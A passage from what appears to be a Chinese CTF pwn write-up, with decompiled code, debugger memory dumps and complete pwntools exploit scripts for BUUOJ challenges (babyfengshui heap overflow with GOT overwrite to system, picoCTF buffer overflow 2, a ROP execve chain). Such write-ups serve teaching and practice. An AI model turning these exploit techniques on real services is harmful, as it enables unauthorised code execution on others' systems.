class="number">0x8</span>)</span><br><span class="line">payload += p32(pop_eax) </span><br><span class="line">payload += p32(<span class="number">0xb</span>) </span><br><span class="line">payload += p32(pop_edx_ecx_ebx) </span><br><span class="line">payload += p32(<span class="number">0</span>)</span><br><span class="line">payload += p32(<span class="number">0</span>)</span><br><span class="line">payload += p32(bss_bin_sh_addr)</span><br><span class="line">payload += p32(int_80)</span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">io.send(<span class="string">&#x27;/bin/sh&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x2B-babyfengshui-33c3-2016"><a href="#0x2B-babyfengshui-33c3-2016" class="headerlink" title="0x2B.babyfengshui_33c3_2016"></a>0x2B.babyfengshui_33c3_2016</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec babyfengshui_33c3_2016 </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/babyfengshui_33c3_2016&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __cdecl __noreturn <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v0; <span class="comment">// [esp+3h] [ebp-15h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [esp+4h] [ebp-14h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  alarm(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;0: Add a user&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;1: Delete a user&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;2: Display a user&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;3: Update a user description&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;4: Exit&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Action: &quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v1) == <span class="number">-1</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( !v1 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;size of description: &quot;</span>);</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%u%c&quot;</span>, &amp;v2, &amp;v0);</span><br><span class="line">      add(v2);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;index: &quot;</span>);</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v2);</span><br><span class="line">      <span class="keyword">delete</span>(v2);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;index: &quot;</span>);</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v2);</span><br><span class="line">      display(v2);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;index: &quot;</span>);</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v2);</span><br><span class="line">      update(v2);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">4</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Bye&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( byte_804B069 &gt; <span class="number">0x31</span>u )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;maximum capacity exceeded, bye&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>add:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">_DWORD *__cdecl <span class="title">add</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">void</span> *s; <span class="comment">// [esp+14h] [ebp-14h]</span></span><br><span class="line">  _DWORD *v3; <span class="comment">// [esp+18h] [ebp-10h]</span></span><br><span class="line"></span><br><span class="line">  s = <span class="built_in">malloc</span>(a1);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, a1);</span><br><span class="line">  v3 = <span class="built_in">malloc</span>(<span class="number">0x80</span>u);</span><br><span class="line">  <span class="built_in">memset</span>(v3, <span class="number">0</span>, <span class="number">0x80</span>u);</span><br><span class="line">  *v3 = s;</span><br><span class="line">  *(&amp;ptr + byte_804B069) = v3;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;name: &quot;</span>);</span><br><span class="line">  input(*(&amp;ptr + byte_804B069) + <span class="number">4</span>, <span class="number">124</span>);</span><br><span class="line">  update(byte_804B069++);</span><br><span class="line">  <span class="keyword">return</span> v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>add函数申请了两次，其中把第一次申请的空间写入了第二次申请的空间，第二次申请的空间大小是固定的。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Node</span>&#123;</span></span><br><span class="line">	<span class="keyword">char</span> * s;</span><br><span class="line">	<span class="keyword">char</span> name[<span class="number">0x7C</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>delete：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> __cdecl <span class="title">delete</span><span class="params">(<span class="keyword">unsigned</span> __int8 a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v2; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( a1 &lt; byte_804B069 &amp;&amp; (&amp;ptr)[a1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>(*(&amp;ptr)[a1]);</span><br><span class="line">    <span class="built_in">free</span>((&amp;ptr)[a1]);</span><br><span class="line">    (&amp;ptr)[a1] = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v2;</span><br><span class="line">&#125;s</span><br></pre></td></tr></table></figure>

<p>free并赋值为0.</p>
<p>display：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> __cdecl <span class="title">display</span><span class="params">(<span class="keyword">unsigned</span> __int8 a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v2; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( a1 &lt; byte_804B069 &amp;&amp; *(&amp;ptr + a1) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;name: %s\n&quot;</span>, *(&amp;ptr + a1) + <span class="number">4</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;description: %s\n&quot;</span>, **(&amp;ptr + a1));</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>update：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> __cdecl <span class="title">update</span><span class="params">(<span class="keyword">unsigned</span> __int8 a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v2; <span class="comment">// [esp+17h] [ebp-11h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [esp+18h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( a1 &lt; byte_804B069 &amp;&amp; (&amp;ptr)[a1] )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;text length: &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%u%c&quot;</span>, &amp;v3, &amp;v2);</span><br><span class="line">    <span class="keyword">if</span> ( (*(&amp;ptr)[a1] + v3) &gt;= (&amp;ptr)[a1] - <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;my l33t defenses cannot be fooled, cya!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;text: &quot;</span>);</span><br><span class="line">    input(*(&amp;ptr)[a1], v3 + <span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>其中update中的：<code>if ( (*(&amp;ptr)[a1] + v3) &gt;= (&amp;ptr)[a1] - 1 )</code>，这里的判断有一些问题，chunk0和chunk0(name)其实不一定相邻的，这样就有了溢出的可能。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">0x80</span>,<span class="string">&quot;aaaaa&quot;</span>,<span class="string">&quot;bbbb&quot;</span>)</span><br><span class="line">add(<span class="number">0x80</span>,<span class="string">&quot;ccccc&quot;</span>,<span class="string">&quot;ddddd&quot;</span>)</span><br></pre></td></tr></table></figure>

<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/80wx 0x804c000</span><br><span class="line">0x804c000:	0x00000000	0x00000089	0x62626262	0x00000000 &lt;=chunk0</span><br><span class="line">0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c070:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c080:	0x00000000	0x00000000	0x00000000	0x00000089</span><br><span class="line">0x804c090:	0x0804c008	0x61616161	0x00000061	0x00000000 &lt;=chunk(0) name</span><br><span class="line">0x804c0a0:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c0b0:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c0c0:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c0d0:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c0e0:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c0f0:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c100:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c110:	0x00000000	0x00000089	0x64646464	0x00000064</span><br><span class="line">0x804c120:	0x00000000	0x00000000	0x00000000	0x00000000</span><br><span class="line">0x804c130:	0x00000000	0x00000000	0x00000000	0x00000000</span><br></pre></td></tr></table></figure>

<p>对于chunk0来说就是0x80c008+输入长度是否大于0x804c08c。</p>
<p>倘若：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">0x80</span>,<span class="string">&quot;aaaaa&quot;</span>,<span class="string">&quot;bbbb&quot;</span>)</span><br><span class="line">add(<span class="number">0x80</span>,<span class="string">&quot;ccccc&quot;</span>,<span class="string">&quot;ddddd&quot;</span>)</span><br><span class="line">add(<span class="number">0x80</span>,<span class="string">&quot;11111&quot;</span>,<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line"><span class="keyword">delete</span>(<span class="number">0</span>)</span><br><span class="line">add(<span class="number">0x100</span>,<span class="string">&quot;aaaaa&quot;</span>,<span class="string">&quot;bbbb&quot;</span>)</span><br></pre></td></tr></table></figure>

<p>这样的话，新申请的chunk3就会在chunk1和chunk2前面，而chunk3(name)则会在chunk1和chunk2的后面，这样就可以输入很长的数据了。</p>
<p>然后就是覆盖指针为free_got的地址，输出，计算system的地址。</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> LibcSearcher</span><br><span class="line"><span class="comment">#context(log_level=&#x27;debug&#x27;)</span></span><br><span class="line"><span class="comment">#io = process(&quot;./babyfengshui_33c3_2016&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">25098</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./babyfengshui_33c3_2016&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">size,length,name,payload</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Action: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;0&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;size of description: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;name: &quot;</span>)</span><br><span class="line">	io.sendline(name)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;text length: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;text: &quot;</span>)</span><br><span class="line">	io.sendline(payload)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Action: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;1&quot;</span>)	</span><br><span class="line">	io.recvuntil(<span class="string">&quot;index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">display</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Action: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;2&quot;</span>)	</span><br><span class="line">	io.recvuntil(<span class="string">&quot;index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">update</span>(<span class="params">index,length,payload</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Action: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;text length: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;text: &quot;</span>)</span><br><span class="line">	io.sendline(payload)</span><br><span class="line">add(<span class="number">0x80</span>,<span class="number">0x80</span>,<span class="string">&quot;name&quot;</span>,<span class="string">&quot;bbbb&quot;</span>)</span><br><span class="line">add(<span class="number">0x80</span>,<span class="number">0x80</span>,<span class="string">&quot;naem&quot;</span>,<span class="string">&quot;ddddd&quot;</span>)</span><br><span class="line">add(<span class="number">0x80</span>,<span class="number">0x80</span>,<span class="string">&quot;name&quot;</span>,<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"><span class="comment">#payload=&#x27;a&#x27;*0x108+&quot;\x00&quot;*4+&quot;\x00\x00\x00\x89&quot;+&#x27;a&#x27;*0x80+&quot;\x00&quot;*4+&quot;\x00\x00\x00\x89&quot;+p32(elf.got[&#x27;free&#x27;])</span></span><br><span class="line">payload = <span class="string">&quot;A&quot;</span>*<span class="number">0x198</span> + p32(elf.got[<span class="string">&#x27;free&#x27;</span>])</span><br><span class="line">add(<span class="number">0x100</span>,<span class="number">0x19c</span>,<span class="string">&quot;name&quot;</span>,payload)</span><br><span class="line">display(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;description: &quot;</span>)</span><br><span class="line">free_addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(free_addr)</span><br><span class="line">base = free_addr - libc.sym[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">sys_addr = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"><span class="comment">#libc=LibcSearcher(&quot;free&quot;,free_addr)</span></span><br><span class="line"><span class="comment">#libc_base=free_addr-libc.dump(&quot;free&quot;)</span></span><br><span class="line"><span class="comment">#sys_addr=libc_base+libc.dump(&quot;system&quot;)</span></span><br><span class="line">update(<span class="number">1</span>,<span class="number">0x4</span>,p32(sys_addr))</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x2C-picoctf-2018-buffer-overflow-2"><a href="#0x2C-picoctf-2018-buffer-overflow-2" class="headerlink" title="0x2C.picoctf_2018_buffer overflow 2"></a>0x2C.picoctf_2018_buffer overflow 2</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">char</span> *__cdecl <span class="title">win</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(</span><br><span class="line">      <span class="string">&quot;Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">if</span> ( a1 == <span class="number">0xDEADBEEF</span> &amp;&amp; a2 == <span class="number">0xDEADC0DE</span> )</span><br><span class="line">    result = (<span class="keyword">char</span> *)<span class="built_in">printf</span>(s);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>跳转的win这个函数的时候两个参数需要是0xDEADBEEF 和 0xDEADC0DE</p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(log_level=&#x27;debug&#x27;)</span></span><br><span class="line"><span class="comment">#io = process(&quot;./PicoCTF_2018_buffer_overflow_2&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27708</span>)</span><br><span class="line">win_addr = <span class="number">0x080485CB</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x6c</span>+<span class="number">4</span>) +p32(win_addr)+p32(<span class="number">0</span>)+p32(<span class="number">0xDEADBEEF</span>)+ p32(<span class="number">0xDEADC0DE</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x2D-xdctf2015-pwn200"><a href="#0x2D-xdctf2015-pwn200" class="headerlink" title="0x2D.xdctf2015_pwn200"></a>0x2D.xdctf2015_pwn200</h2><p>简单的ret2libc</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">size_t</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">112</span>]; <span class="comment">// [esp+0h] [ebp-7Ch] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> *v6; <span class="comment">// [esp+70h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v6 = &amp;argc;</span><br><span class="line">  <span class="built_in">strcpy</span>(buf, <span class="string">&quot;Welcome to XDCTF2015~!\n&quot;</span>);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;buf[<span class="number">24</span>], <span 